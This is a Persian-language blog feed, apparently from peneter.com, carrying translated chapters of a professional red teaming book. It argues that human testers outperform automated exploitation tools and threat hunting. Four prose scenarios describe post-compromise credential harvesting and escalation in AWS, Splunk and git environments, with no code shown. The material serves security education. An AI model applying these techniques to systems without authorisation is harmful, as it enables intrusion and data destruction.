<p><img loading="lazy" decoding="async" class="size-full wp-image-1327 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2024/03/professional-red-teaming-fig-2-4.jpg" alt="" width="478" height="235" srcset="https://blog.peneter.com/wp-content/uploads/2024/03/professional-red-teaming-fig-2-4.jpg 478w, https://blog.peneter.com/wp-content/uploads/2024/03/professional-red-teaming-fig-2-4-300x147.jpg 300w, https://blog.peneter.com/wp-content/uploads/2024/03/professional-red-teaming-fig-2-4-100x49.jpg 100w" sizes="auto, (max-width: 478px) 100vw, 478px" /></p>
<p style="text-align: center;">شکل 2-4 انتقال و بهره برداری</p>
<p>عملکرد این گروه از ابزارها به شدت وابسته به الگوریتم‌های مورد استفاده برای شناسایی اکسپلولیت‌های مورد بهره برداری و همچنین روش انتشار در شبکه است. خطر این ابزارها این است که مثل یک کرم خودکار عمل می‌کنند و اگر به درستی پیکربندی یا نظارت نشوند، می‌توانند منجر به آسیب رسیدن و افت عملکرد سیستم‌های تحت ارزیابی شوند. میلیون‌ها روش و حالت مختلف برای از کنترل خارج شدن شرایط وجود دارد که احتمالاً تعداد آنها به اندازه تعداد راهکارهای قابل استفاده برای اجتناب از آنها با استفاده از منطق است. اما هر چقدر در ماتریس تصمیم گیری یک فریم ورک بهره برداری خودکار از منطق بیشتری استفاده کنید، پیچیدگی کار و نیاز به مداخله انسان بیشتر می‌شود. وابستگی به این فناوری‌ها باعث ایجاد نیاز به مراقبت از آنها یا استفاده از منابع رایانشی بسیار زیاد می‌شود در نتیجه مزایای آنها را از بین برده و نمی‌توانند جایگزینی مقرون به صرفه برای هکرهای اخلاقی محسوب شوند.<br />
از نظر ابتکار و نوآوری، این گروه سوم از ابزارها &#8211; که برای بهره برداری و انتقال درون سازمان استفاده می‌شوند &#8211; باعث پیشی گرفتن تیم‌های قرمز در رقابت بین هکرهای انسانی و اتوماسیون می‌شوند. برای توضیح دلیل نیاز به استفاده از هکرهای انسانی اخلاقی، متمرکز بر همین قابلیت خواهم بود.</p>
<h2>مزایا و معایب اتوماسیون</h2>
<p>اما اتوماسیون چه معایبی دارد؟ چرا از یک ابزار رایگان برای شناسایی انواع آسیب‌پذیری‌های موجود در شبکه و رفع آنها استفاده نکنیم؟ آیا این روش به اندازه کافی خوب نیست؟ این‌ها سوالاتی هستند که باید برای کنار زدن گزینه استفاده از ابزارهای بهره برداری و انتقال خودکار اول به آنها پاسخ دهیم. گرچه چنین ابزارهایی مزایای خاص خودشان را دارند اما در زمینه ارزیابی امنیتی تهاجمی، معایب و نقطه ضعف‌های آنها بیشتر از مزایا است.</p>
<h4>مزایای اتوماسیون</h4>
<p>همانطور که پیش از این اشاره شد، مزایای راهکارهای بهره برداری و انتقال خودکار نسبتاً مشخص و بیشتر آنها مربوط به مسئله دسترسی پذیری هستند. قابلیت دسترسی آسان به ارزیابی‌هایی که توسط این فناوری انجام می‌شود دلیل اصلی وجود خریدار برای آنها و ادامه پیاده‌سازی چنین قابلیت‌هایی در فریم ورک‌های اکسپلویت است. شرکت‌هایی که منابع مالی لازم برای استخدام هکرهای اخلاقی جهت اجرای ارزیابی‌ها را ندارند، معمولاً راحت‌تر به این فناوری‌ها دسترسی دارند. برخی از این ابزارها به صورت رایگان قابل تهیه و استفاده هستند. خود سازمان به راحتی می‌تواند این ابزارها را اجرا کند و برخلاف تیم‌های قرمز درون سازمانی یا خدمات تست نفوذ خارجی، نیازی به انتظار و زمانبندی برای اجرای آنها ندارد. به غیر از مسئله زمانبندی، چنین فناوری‌هایی از نظر مدت زمان ارزیابی هم مزایای خاص خود را دارند. می‌توان فناوری‌های خودکار را در یک بازه چند ساعته روی سیستم‌های سازمانی اجرا کرد در حالی که ممکن است کار هکرهای اخلاقی چند روز یا چند هفته زمان ببرد. طبق تعریف، این فناوری‌ها به صرفه جویی در وقت و هزینه‌ها صرفه جویی می‌کنند. اما بررسی عمیق‌تر از این مزایای سطحی و واقع گرایانه نبودن آنها، نشان می‌دهد که چرا استقبال وسیعی از آنها صورت نگرفته و همچنان تقاضای زیادی برای هکرهای اخلاقی وجود دارد.</p>
<h4>معایب اتوماسیون</h4>
<p>مهم‌ترین ایراد فناوری‌های اکسپلویت و انتقال خودکار، بیشتر بودن زمان و هزینه پیاده‌سازی آنها نسبت به روش استفاده از هکرهای انسانی است که اهمیت بسیار زیادی دارد. بزرگترین مزایای نظری این ابزارها در عمل تبدیل به مهم‌ترین معایب آنها می‌شود. این ابزارها می‌توانند هزینه‌ها یا ریسک بیشتری را به سازمان‌ها تحمیل کنند که این هزینه‌ها و ریسک‌ها دو جنبه فعال و منفعل دارند که در ادامه به بررسی آنها می‌پردازیم.</p>
<h4>ریسک‌های فعال</h4>
<p>ریسک‌های فعال ذاتی موجود در راهکارهای تیم قرمز خودکار، می‌توانند حین ارزیابی سیستم‌ها نمایان شوند. بهره برداری یا هک، در اصل به سوء استفاده از یک سیستم به روش غیرمعمول به منظور دستیابی به نتایجی غیرمعمول گفته می‌شود. هر تلاشی برای بهره برداری از سیستم‌ها، با احتمال ایجاد پیامدهای منفی در سیستم همراه خواهد بود. ممکن است این پیامدها مثل کند شدن سرعت پردازش سیستم کم خطر یا مثل وارد شدن آسیب فیزیکی دائم به سیستم‌های تحت حمله، بسیار فاجعه بار باشند.<br />
حتی با وجود پیاده‌سازی بررسی‌های امنیتی در این نرم‌افزارها، در روش اتوماسیون بهره برداری و انتقال بین سیستم‌ها قدرت تشخیصی که یک مهاجم انسانی دارد، وجود ندارد. بنابراین، ممکن است سرعت بالای اتوماسیون، باعث آسیب رسیدن به سیستم‌ها، دستگاه‌ها یا سرویس‌های ارزشمند با سرعتی بالا شود. ممکن است یک انسان با استفاده از یک اکسپلویت خطرناک باعث ایجاد نقص در عملکرد یک سیستم شود اما یک اسکریپت خودکار می‌تواند همان اکسپلویت را روی صد سیستم اجرا کند. این ریسک می‌تواند مزایای این فناوری‌ها از نظر مقرون به صرفه بودن را هم خنثی کند. ممکن است مبلغ صرفه جویی شده با خودداری از استخدام هکرهای اخلاقی &#8211; یا حتی مبلغی بیشتر از آن &#8211; صرف رسیدگی به هزینه‌های ناشی از بروز اختلال در خدمات، رسیدگی به مشکلات، جایگزینی سیستم‌های آسیب دیده یا حتی آسیب رسیدن به اعتبار سازمان و از دست رفتن مشتریان شود.</p>
<h4>ریسک‌های منفعل</h4>
<p>هزینه‌ها و ریسک‌های منفعل فناوری‌های بهره برداری خودکار، می‌تواند بیشتر از نوع فعال آنها باشد. در مجموع، فروشندگان فناوری‌های خودکار از جمله نرم‌افزارهای امنیتی و فریم ورک‌های اکسپلویت، به مقرون بودن محصولاتشان اشاره می‌کنند. دیدگاه آنها این است که چنین فناوری‌هایی با جایگزین کردن برخی از پرسنل به صرفه جویی در هزینه‌ها کمک می‌کنند. اما معمولاً هزینه‌های کسب مجوز و تهیه اشتراک این نرم‌افزارها برای به روز نگه داشتن اطلاعات آنها بسیار زیاد است. علاوه بر این، استفاده از این نرم‌افزارها به صورتی که منجر به ارتقای وضعیت امنیت سازمان شود، نیاز به تخصص کار با ابزارهایی خاص دارد. ممکن است در چنین شرایطی سازمان نیاز به صرف هزینه‌ای بیشتر برای آموزش کارمندان یا استخدام افرادی با گواهینامه یا تخصص استفاده از ابزار مورد نظر، داشته باشد. در این مرحله، بعید است که صرفه جویی ناشی از به کار بردن ابزارهای بهره برداری خودکار، بیشتر از معایب استفاده نکردن از خدمات یا پرسنل امنیتی تهاجمی باشد.<br />
به باور من، بین همه معایب استفاده از اتوماسیون، ریسک منفعل آن بیشترین خطر را برای سازمان ایجاد می‌کند چون استفاده از این ابزارها باعث ایجاد حس امنیت کاذب خواهد شد. همانطور که پیش از این اشاره شد، این احتمال وجود دارد که مدیران سازمان‌ها برای کاهش هزینه‌ها از فناوری‌های بهره برداری خودکار جهت ارزیابی وضعیت امنیتی خودشان استفاده کنند. مشکل اینجاست که این ارزیابی، شرایط یک حمله واقعی را به خوبی به تصویر نمی‌کشد.<br />
فرض کنید که چنین نرم‌افزاری به قدری قوی و خوب است که همه حفره‌های امنیتی موجود در همه سیستم‌های شبکه را شناسایی می‌کند. سپس تیم امنیت سایبری به خوبی همه این تهدیدات را برکنار می‌کند. بدون تردید، این کار منجر به ایجاد حس اطمینان در مدیران سازمان و کارمندان امنیتی شده و تصور می‌کنند که در برابر تهدیدات سایبری ایمن هستند. اما طی چند هفته بعد، چند اکسپلویت جدید شناسایی شده یا دستگاه‌های جدیدی که در برابر اکسپلویت‌های قدیمی آسیب‌پذیر هستند به سازمان اضافه می‌شوند. یک مهاجم از این حفره‌ها استفاده کرده و بدون اینکه شناسایی شود، به کل سیستم نفوذ می‌کند. در این شرایط چه اتفاقی رخ می‌دهد؟<br />
سازمان همه حفره‌های شناسایی شده در زمان اسکن را رفع کرده اما بهره برداری خودکار از سیستم‌ها با روش اجرای حمله توسط یک مهاجم و پیشرفت و پافشاری این مهاجمان تفاوت دارد. به دلیل وجود این تفاوت‌ها، پرسنل امنیت سایبری سازمان در جریان نیستند که چطور نظارت بر تهدیدات واقعی را انجام داده یا به فعالیت مهاجمان واکنش نشان دهند. بدتر اینکه، هیچ وقت فرایند واکنش به حادثه را در مقابل یک تهدید واقعی که به دنبال تثبیت جایگاه خودش در سازمان است، تجربه نکرده‌اند. همواره تهدیدات و اکسپلویت‌های جدیدی در یک سازمان شکل می‌گیرند. شناسایی و بهره برداری از حفره‌های تکنولوژیکی در سیستم‌ها فقط منجر به تقویت بخش محدودی از دستگاه امنیتی سازمان و مسئولیت‌های مربوط به آن می‌شود.<br />
اجرای مانور تیم قرمز به همراه هکرهای اخلاقی به سازمان‌ها کمک می‌کند تا کاستی‌های موجود در همه جنبه‌های امنیتی خودشان را شناسایی کنند از جمله مشکلات مربوط به فناوری، کارمندان و رویه‌ها. همچنین این مانورها علاوه بر تشخیص مشکلات فناوری‌ها، به درک مشکلات موجود در شیوه پیاده‌سازی فناوری، روش‌ها و سیاست‌های امنیتی در سازمان کمک می‌کنند. بعلاوه، هکرهای اخلاقی واکنش کاربران و مدیران به یک حمله در سازمان را ارزیابی می‌کنند که این واکنش بخش بسیار مهمی از ارزیابی امنیت تهاجمی است.</p>
<h3>بررسی چند سناریوی نمونه</h3>
<p>در ادامه چند سناریو را بررسی می‌کنیم که هنگام اجرای تست نفوذ در سازمان‌ها با آنها روبرو شده‌ام. این مثال‌ها، برتری استفاده از هکرهای انسانی را بهتر مشخص می‌کنند. برای حفاظت از هویت افراد برخی از جزئیات این سناریوها تغییر کرده‌اند.</p>
<h4>سناریوی اول</h4>
<p>یک ارزیاب، هنگام بررسی یک سیستم لینوکسی پس از نفوذ به آن، متوجه وجود نام‌های مستعاری مثل us-west و us-east می‌شود. این سبک نام گذاری در زیرساخت‌های میزبانی ابر وب‌سرویس آمازون (AWS ) متداول است. ارزیاب، فهرست فرمان‌های اجرا شده توسط این نام‌های مستعار را ارزیابی کرده و نشانی جامپ باکس‌های AWS سازمان را پیدا می‌کند؛ همچنین موفق به پیدا کردن محل ذخیره اطلاعات ورود به دستگاه‌های ابر از راه دور در کامپیوتر تحت نفوذ می‌شود. سپس ارزیاب با استفاده از این اطلاعات، به یکی از جامپ باکس‌های سازمان در محیط AWS دسترسی پیدا می‌کند. بررسی محلی این سیستم نشان می‌دهد که سازمان برای راحت‌تر شدن کارها یا از سر غفلت، رمزهای AWS و اطلاعات ورود به کنسول مدیریت را از سیستم جامپ باکس پاکسازی نکرده است. به این ترتیب، ارزیاب توانست از اطلاعات ورود به حساب برای ساختن یک حساب کاربری جدید در کنسول مدیریت حساب AWS سازمان استفاده کرده و با استفاده از یک مرورگر اینترنتی وارد آن شود. به محض ورود به این کنسول، ارزیاب امکان حذف، خاموش کردن یا ایجاد ماشین‌های جدید را پیدا کرد.<br />
فناوری‌های خودکار توانایی شناسایی این نام‌های مستعار و استفاده از اعتبارنامه‌های کاربری را برای حرکت و جابجایی در زیرساخت ابر سازمان ندارند. غریزه انسانی باعث شد که این ارزیابی بسیار عمیق‌تر از آنچه یک نرم‌افزار کامپیوتری انجام می‌دهد، اجرا شود. بررسی دستگاه‌های ثبت شده در حساب ابر AWS به ارزیاب کمک کرد تا بر اساس نام‌ها، سرویس‌ها و نرم‌افزارهای مورد استفاده تشخیص دهد که راهکارهای مورد استفاده برای مراحل پیش تولید و توسعه، در یک حساب AWS میزبانی می‌شوند. همچنین ارزیاب متوجه وجود چند ماشین مجازی خاموش شد که با اسم افراد نامگذاری شده بودند مثل کتی . حداقل یکی از این نام‌ها شبیه نام یک حساب مدیریتی به نظر می‌رسد که در یکی از دستگاه‌های مورد نفوذ در مراحل اولیه ارزیابی، فعال بود.<br />
ارزیاب اطلاعات لازم برای ورود به این سیستم‌ها را در اختیار ندارد چون همه اعتبارنامه‌های جمع آوری شده در مرحله ارزیابی تا به اینجا، مربوط به سیستم‌های لینوکسی بودند و این دستگاه‌های جدید وقتی روشن شوند، با سیستم عامل مایکروسافت ویندوز کار می‌کنند. ارزیاب، سیستم را خاموش کرده و ‌هارددرایو دستگاه ویندوزی را به یکی از ماشین‌های مجازی لینوکسی که از قبل به آن نفوذ کرده بود وصل می‌کند. به این ترتیب، مهاجم می‌تواند از طریق فایل‌های سیستم عامل به اعتبارنامه‌های کاربری دست پیدا کند. سپس، ارزیاب دستگاه کتی را روشن کرده و با استفاده از اعتبارنامه‌های به دست آمده از ‌هارددرایو، وارد آن می‌شود. این اعتبارنامه‌ها به ارزیاب امکان می‌دهند که به سایر دستگاه‌های ویندوزی هم دسترسی پیدا کند چون اعتبارنامه‌های کتی، در حوزه مدیریتی قرار داشتند. همچنین، اطلاعات جمع آوری شده از هارددرایو به شناسایی کنسول ورود به حساب AWS و اعتبارنامه‌های آن هم کمک می‌کند. در این مرحله، ارزیاب می‌تواند به همه دستگاه‌های متعلق به سازمان وارد شود و کل زیرساخت ابر سازمان را خاموش و حذف کند. وحشتناک است که مسئله ساده‌ای مثل استفاده از یک نام مستعار می‌تواند به حذف کل داده‌ها و دستگاه‌های سازمان با چند کلیک منجر شود. همچنین، کاملاً واضح است که فناوری اتوماسیون قابلیت اجرای فرایندها و ریزه کاری‌هایی که در این زنجیره نفوذ وجود داشت را ندارد. بعلاوه، هیچ فناوری اتوماسیونی که قرار باشد برای رسیدن به این سطح از نفوذ، به همه جنبه‌های سازمان نفوذ کند، قادر نیست این کار را با احتیاط و درایتی انجام دهد که از آسیب رسیدن به سازمان پیشگیری کند.</p>
<h4>سناریوی دوم</h4>
<p>یک ارزیاب هنگام بررسی یک سیستم میزبانی شده در محیط AWS، پس از نفوذ به آن &#8211; از طریق تاریخچه فرمان‌های دستگاه &#8211; متوجه اجرای فرمان‌های مدیریتی AWS توسط ادمین مدیر سیستم بدون وارد کردن اعتبارنامه‌های کاربری می‌شود. معمولاً برای اجرای این فرایند نیاز به ورود یک کلید یا رمز وجود دارد. ارزیاب سعی می‌کند همان فرمان را با یک حساب کاربری سطح پایین‌تر اجرا کند و مشخص می‌شود که می‌توان کارهای مدیریتی را روی کل حساب AWS انجام داد. ارزیاب متوجه می‌شود که خود سیستم، مجوز اجرای فرمان‌های کنسول مدیریت AWS را دارد. به این ترتیب، ارزیاب می‌تواند به کل مرکز داده میزبانی شده در AWS نفوذ کرده و دستگاه‌های جدیدی به محیط ابر سازمان اضافه، حذف یا آنها را خاموش کند. سپس ارزیاب به این نتیجه می‌رسد که چون هیچ کلید یا اعتبارنامه AWS روی سیستم پیدا نشده، سایر سیستم‌ها هم مجوز و دسترسی اجرای فرمان‌های AWS روی این دستگاه را دارند. پس از این نتیجه گیری ارزیاب سعی می‌کند فرمان‌های قابل مشاهده در تاریخچه فرامین را اجرا کند. پس از اینکه مشخص شد این کار قابل انجام است، ارزیاب متوجه نقش این سیستم به عنوان یک مرکز مدیریت برای کل فضای ابر سازمان می‌شود.<br />
برخلاف مورد قبل، می‌توان مطمئن بود که این تنظیمات و روش کار فقط برای راحتی انتخاب شده نه از سر غفلت مدیران سازمان. ممکن است حامیان فناوری‌های اتوماسیون این استدلال را مطرح کنند که نرم‌افزار تست نفوذ، قابلیت امتحان کردن همه فرمان‌های موجود در تاریخچه فرامین یا اسکریپت‌های دستگاه‌های تحت نفوذ را دارد. این نمونه و سایر قابلیت‌ها و کارهایی که یک ارزیاب می‌تواند انجام دهد، در صورتی که برای انجام آنها از تجربه و مهارت استفاده نشود می‌توانند بسیار ترسناک باشند. مثلاً فرض کنید که قبلاً مدیر سیستم، فایل‌ها را با استفاده از کاراکترهای جانشین حذف کرده یا کل درایوهای حاوی داده را پیش از پشتیبان گیری از سیستم فایل‌های جدید، پاکسازی کرده باشد در این صورت اتوماسیون نرم‌افزار تیم قرمز می‌تواند به نابودی داده‌های سازمان منجر شود.</p>
<h4>سناریوی سوم</h4>
<p>یک ارزیاب هنگام بررسی سیستمی پس از نفوذ، متوجه وجود یک سرویس فوروارد کننده اسپلانک روی پورت 8089 با حالت شنود محلی می‌شود. این سرویس در اسکن‌های بیرونی قابل مشاهده نبوده چون شنود را به این روش انجام می‌دهد و از راه دور قابل دسترس نیست.<br />
ارزیاب، اعتبارنامه‌های پیش فرض برای این سرویس را بررسی کرده و آنها را با استفاده از یک فرمان کرل روی پورت محلی امتحان می‌کند. اعتبارنامه‌ها کار می‌کنند و سرویس با دسترسی‌های کاربر ارشد اجرا می‌شود بنابراین آزمونگر می‌تواند دسترسی‌ها را افزایش داده و یک کلید مدیریتی پیدا کند که امکان استفاده از آن برای نفوذ به کل شبکه محلی وجود دارد. توانایی ارزیاب برای شناسایی سرویسی که به صورت محلی اجرا می‌شود، بررسی اعتبارنامه‌های پیش فرض این سرویس و سپس استفاده از سرویس برای تشدید حمله کارهایی است که هر فناوری اتوماسیونی در انجام آنها با چالش روبرو می‌شود. اسکن خودکار از راه دور هیچ آسیب‌پذیری را شناسایی نمی‌کند و استفاده از یک فناوری خودکار بهره برداری و انتقال که همه اجزاء را به صورت محلی ارزیابی می‌کند کارها را به شدت سخت‌تر می‌کند به خصوص اگر قرار باشد فهرست اعتبارنامه‌های کاربری را ذخیره کرده و از همه آنها استفاده کند.</p>
<h4>سناریوی چهارم</h4>
<p>یک ارزیاب هنگام بررسی سیستمی پس از نفوذ به آن، متوجه وجود فرمان‌های گیت در تاریخچه فرمان‌های اجرا شده توسط مدیر می‌شود. لازم به ذکر است که گیت یک مخزن کد است. سپس ارزیاب به مخزن گیت که محلی نیست دسترسی پیدا می‌کند و می‌تواند همه فایل‌های درون آن را بدون نیاز به احرازهویت استخراج کند. این فایل‌ها حاوی اعتبارنامه‌هایی هستند که در قالب متن ساده ذخیره شده‌اند همچنین پیکربندی‌های شبکه که منجر به نفوذ به کل سازمان می‌شوند. برخلاف یک هکر اخلاقی، فناوری‌های اتوماسیونی که پیش از این مورد بررسی قرار گرفتند، منطق استنتاجی لازم برای تشخیص ارتباط داشتن فرمان‌ها با گیت، هدف گیری مخزن، بررسی مخزن جهت شناسایی فایل‌هایی با نام‌های مورد توجه و استخراج، بیرون آوردن فایل‌ها از حالت فشرده و پیدا کردن اعتبارنامه‌های کاربری را ندارند.<br />
فناوری‌های اتوماسیون بررسی شده در این فصل همگی ارزش بررسی توسط جامعه امنیت سایبری چه در بخش دانشگاه و چه در بخش صنعت را دارند به خصوص وقتی از آنها برای تقویت ارزیابی‌های انسانی استفاده شود. اما این باعث نمی‌شود که این فناوری جایگزین توانمند و امنی برای تیم‌های قرمز درون سازمانی یا سایر خدمات امنیت تهاجمی محسوب شود. در بسیاری از شرایط، شهود، منطق و احتیاط هکرهای اخلاقی از همه مزایای یک فناوری اتوماسیون برای سازمان پیشی می‌گیرند.</p>
<h3>شکار تهدید</h3>
<p>این فصل را با یک بررسی کلی از شکار تهدید و برخی از مشکلاتی که با افزایش محبوبیت این ایده، در صنعت امنیت تهاجمی شاهد آنها بودم، به پایان می‌رسانیم. شکار تهدید یعنی تلاش فعالانه برای شناسایی علائم نفوذ و استفاده از آنها جهت ارزیابی شبکه به منظور تشخیص نفوذهایی که قبلاً صورت گرفته و احتمالاً هنوز ادامه دارند. انجام این کار به عنوان یک فعالیت امنیتی خوب است و اگر زیرساخت‌های امنیت سازمان از آن به عنوان یکی از استراتژی‌های دفاعی و نظارتی پشتیبانی کنند، می‌توان آن را پیاده‌سازی کرده یا در قالب خدمات تهیه کرد.<br />
گسترش استفاده از اصطلاح شکار تهدید و افزایش فروش ابزارهای شکار تهدید به عنوان روشی جدید و نه به عنوان راهکاری برای تقویت روش‌های نظارتی موجود، با عوارض ناخوشایندی همراه است. فروش و استفاده از شکار تهدید به عنوان یک راهکار مقابله با تهدیدات پایدار پیشرفته (APT ) کار خطرناکی است. برخی از سازمان‌ها این ابزارها را جایگزین ارزیابی و بهره برداری فعال در نظر می‌گیرند. من به شخصه، تجربه همکاری با سازمان‌هایی را داشتم که درخواست می‌کردند درصد زیادی از کار تست نفوذ را با ابزارهای شکار تهدید جایگزین کنند. شکار تهدید ارزان‌تر است، راحت‌تر با ابزارهای نظارتی پرکاربرد ادغام می‌شود و از نظر کارمندان بخش امنیتی سازمان، خطرناک یا متخصام در نظر گرفته نمی‌شود بنابراین مزایای خاص خود را دارد. اما باید این مزایا را متناسب با کاربرد مورد نظر ارزیابی کرد.<br />
همانطور که در فصل اول اشاره شد، شکار تهدید &#8211; با وجود تبلیغاتی که برای آن می‌شود &#8211; همچنان یک روش واکنشی برای برخورد با تهدیدات پیشرفته محسوب می‌شود. لازم است که مزایای پیاده‌سازی شکار تهدید به جای تیم قرمز یا تست نفوذ، با قابلیت‌های تیم قرمز که واقعاً یک روش پیشگیرانه است، مقایسه شود. علائم نفوذ تنها در صورتی مشهود خواهند بود که سازمان از قبل مورد نفوذ یا حمله قرار گرفته باشد. تمرکز بر شناسایی علائم فعالیت تهدیدات پیشرفته، یک فعالیت ارزشمند است اما نمی‌تواند جایگزین تست نفوذ یا تیم قرمز شود. صحبت من این نیست که این مسئله یک مشکل بزرگ در سطح کل صنعت امنیت سایبری است که باعث شده هکرهای انسانی و امنیت دفاعی به نفع شکار تهدید کنار زده شوند. قصد من صرفاً هشدار دادن درباره احتمال ایجاد چنین مشکلاتی با توجه به هیاهوی ایجاد شده درباره اصطلاح شکار تهدید و شیوه تبلیغ و بازاریابی آن بود.</p>
<h3>خلاصه فصل دوم</h3>
<p>در این فصل به بررسی انواع پیشرفت‌های تکنولوژیکی به دست آمده توسط صنعت و دانشگاه برای جایگزین کردن هکرهای اخلاقی با فناوری‌های اتوماسیون پرداختیم و اینکه چرا این راهکارها نمی‌توانند جایگزین تیم‌های قرمز انسانی باشند. همچنین در این فصل مفهوم شکار تهدید، مزایای آن و احتمال از دست دادن قابلیت‌های دفاعی پیشگیرانه تیم قرمز و مزایای آن در صورت استفاده از شکار تهدید بررسی شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.peneter.com/professional-red-teaming-chapter-2/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>کتاب تیم قرمز حرفه‌ای &#8211; فصل اول</title>
		<link>https://blog.peneter.com/professional-red-teaming-chapter-1/</link>
					<comments>https://blog.peneter.com/professional-red-teaming-chapter-1/#respond</comments>
		
		<dc:creator><![CDATA[Peneter]]></dc:creator>
		<pubDate>Wed, 20 Mar 2024 06:54:44 +0000</pubDate>
				<category><![CDATA[کتاب]]></category>
		<guid isPermaLink="false">https://blog.peneter.com/?p=1288</guid>

					<description><![CDATA[فصل اول: تیم‌های قرمز در فضای سایبری مطالب دیجیتال و چاپی بی‌شماری وجود دارند که با توضیح و معرفی ابزارها یا اکسپلویت[1]‌های جدید، برای نفوذ...]]></description>
										<content:encoded><![CDATA[<h3>فصل اول: تیم‌های قرمز در فضای سایبری</h3>
<p>مطالب دیجیتال و چاپی بی‌شماری وجود دارند که با توضیح و معرفی ابزارها یا اکسپلویت<a href="#_ftn1" name="_ftnref1">[1]</a>‌های جدید، برای نفوذ به سیستم‌های دیجیتال کمک می‌کنند. این متون می‌توانند برای فعالان حوزه امنیت تهاجمی بسیار ارزشمند باشند و به آنها برای ایفای نقش خودشان کمک کنند. بدون شک نشریات شاخصی هستند که به هک اخلاقی کمک می‌کنند اما خیلی از آنها مناسب یک زمان خاص هستند. در واقع یکی از مهم‌ترین دلایل وسعت این مطالعات و کارها این است که هر روزه ابزارها یا کدهای جدیدی نوشته می‌شوند و آسیب‌پذیری‌ها و اکسپلویت‌های تازه‌ای برای بهره برداری شناسایی شده و باعث منسوخ شدن کارهای قدیمی می‌شوند.<br />
سرعت سرسام آور پیشرفت فناوری‌های دفاعی و تهاجمی، منجر به شکل گیری یک نبرد تسلیحاتی شده است. ممکن است بهبود وضعیت امنیتی توسط ابزارهای دفاعی جدیدتر منجر به منسوخ شدن برخی از ابزارهای تهاجمی شود یا اینکه تولید ابزارهای تهاجمی بهتر و کارآمدتر آنها را از رده خارج کنند. ممکن است آسیب‌پذیری‌های مسلح شده با استفاده از تدابیر ابتکاری یا وصله‌های امنیتی خنثی شوند و یا اکسپولیت‌های جدیدتر با احتمال موفقیت بیشتر جای آنها را بگیرند.<br />
با وجود تلاش و توجه بسیار زیادی که برای نوسازی پیوسته ابزارهای امنیت تهاجمی و توضیح جزئیات نحوه استفاده از آنها وجود دارد، باز هم به خود این فرایند حرفه‌ای کمتر توجه می‌شود. ممکن است فردی که به دنبال تبدیل شدن به یک کارشناس امنیت تهاجمی است بلافاصله ده‌ها کتاب مختلف را پیدا کند که شیوه هک سیستم‌ها با استفاده از کد، اکسپلویت و ابزارهای مختلف را آموزش می‌دهند. در مقابل، پیدا کردن مطالبی که نحوه استفاده موفقیت آمیز از این ابزارها و توانایی‌ها را برای بهبود وضعیت امنیت یک مشتری به روشی مثبت و از طریق فرایندهای حرفه‌ای آموزش دهند، کار چالش برانگیزی است.<br />
معمولاً مهم‌ترین چالش‌های هر تعاملی، پیدا کردن و بهره برداری از آسیب‌پذیری‌ها نیستند بلکه چالش‌هایی هستند که در طی چرخه تعامل نمود پیدا می‌کنند. از جمله این موانع می‌توان به مشتریان سخت گیر، قوانین تعامل نامناسب یا محدوده بندی غیر دقیق اشاره کرد. تکنیک‌های امنیتی تهاجمی مثل تست نفوذ یا تیم قرمز منعکس کننده برخی از بهترین ابزارهایی هستند که برای ایمن سازی سیستم‌های اطلاعاتی به کار می‌روند. بنابراین، از نظر من بسیار مهم بود که در حوزه امنیت تهاجمی با ارایه توضیحاتی روایتی و تعیین بهترین اصول قابل استفاده برای تعاملات امنیتی تهاجمی حرفه‌ای، مشارکت داشته باشم. این کتاب منبعی برای اشخاصی است که مایل به ورود به این حوزه هستند یا اینکه در این حوزه فعالیت دارند.<br />
برای موضوع و هدف این کتاب، اصطلاح &#8220;تیم قرمز&#8221; نقش یک عبارت کلی را دارد که به روش‌های امنیتی تهاجمی تیم قرمز و تست نفوذ اشاره می‌کند. از نظر بسیاری از شاغلان این حوزه، تفاوت‌های بین این دو حوزه اهمیت زیادی دارد اما در مجموع اطلاعاتی که در این کتاب ارایه می‌شود برای همه مفید خواهد بود. در این فصل توضیح می‌دهم که تیم قرمز چیست، چطور از آن برای امنیت سایبری استفاده می‌شود، هدف تیم قرمز و مزایا و معایب آن چیست.<br />
گفته می‌شود که اصطلاح تیم قرمز با جنگ سرد ارتباط دارد؛ زمانی که در حملات آزمایشی بر علیه سازمان‌های تحت حمله شوروی، از یک نیروی &#8220;قرمز&#8221; استفاده می‌شد که نشان دهنده دشمن بودند. مفهوم شبیه‌سازی حملات برای ارزیابی سازوکارهای دفاعی و واکنشی، مفهومی بسیار قدیمی‌تر است. ممکن است اصطلاح تیم قرمز به حملاتی با ماهیت نظامی اشاره داشته باشد اما این کتاب متمرکز بر به کار بستن این مفهوم شبیه‌سازی حمله در حوزه سایبری است. به غیر از مواردی که به شکل صریح اعلام شده، در این کتاب، تیم قرمز اشاره به تیم قرمز سایبری &#8211; یا در کل، تعاملات امنیتی تهاجمی &#8211; دارد نه آنهایی که ماهیتی نظامی داشته باشند.</p>
<h2><a name="_Toc144125035"></a>اهداف تیم قرمز</h2>
<p>هدف یک تیم قرمز سایبری، شبیه‌سازی حمله بر علیه یک سازمان به منظور ارزیابی سیستم‌های امنیتی و تسهیلات مربوط به آنها است. این تعریف به شدت کلی است و معمولاً اصطلاح &#8220;حمله&#8221; برای توصیف رفتار تیم‌های قرمز و مهاجمان مخربی که عملکردشان را تقلید می‌کنند بیش از حد تهاجمی و نامناسب است. در خیلی از مواقع، هدف اصلی یک مهاجم دستیابی به اطلاعات یا سرقت آن است. اقدامات مربوط به حمله تهاجمی، بر چنین اهدافی تأثیراتی منفی دارد چون در این سناریوها ممکن است مهاجم سعی کند تا حداکثر زمان ممکن شناسایی نشود. شاید دقیق‌ترین و مناسب‌ترین توصیف برای فعالیت تیم‌های قرمز «شبیه‌سازی دشمن» باشد. هدف این شبیه‌سازی، درک بیشتر قابلیت‌ها و ضعف‌های سازوکارهای دفاع، تشخیص و واکنش در مقابل مهاجمان است.<br />
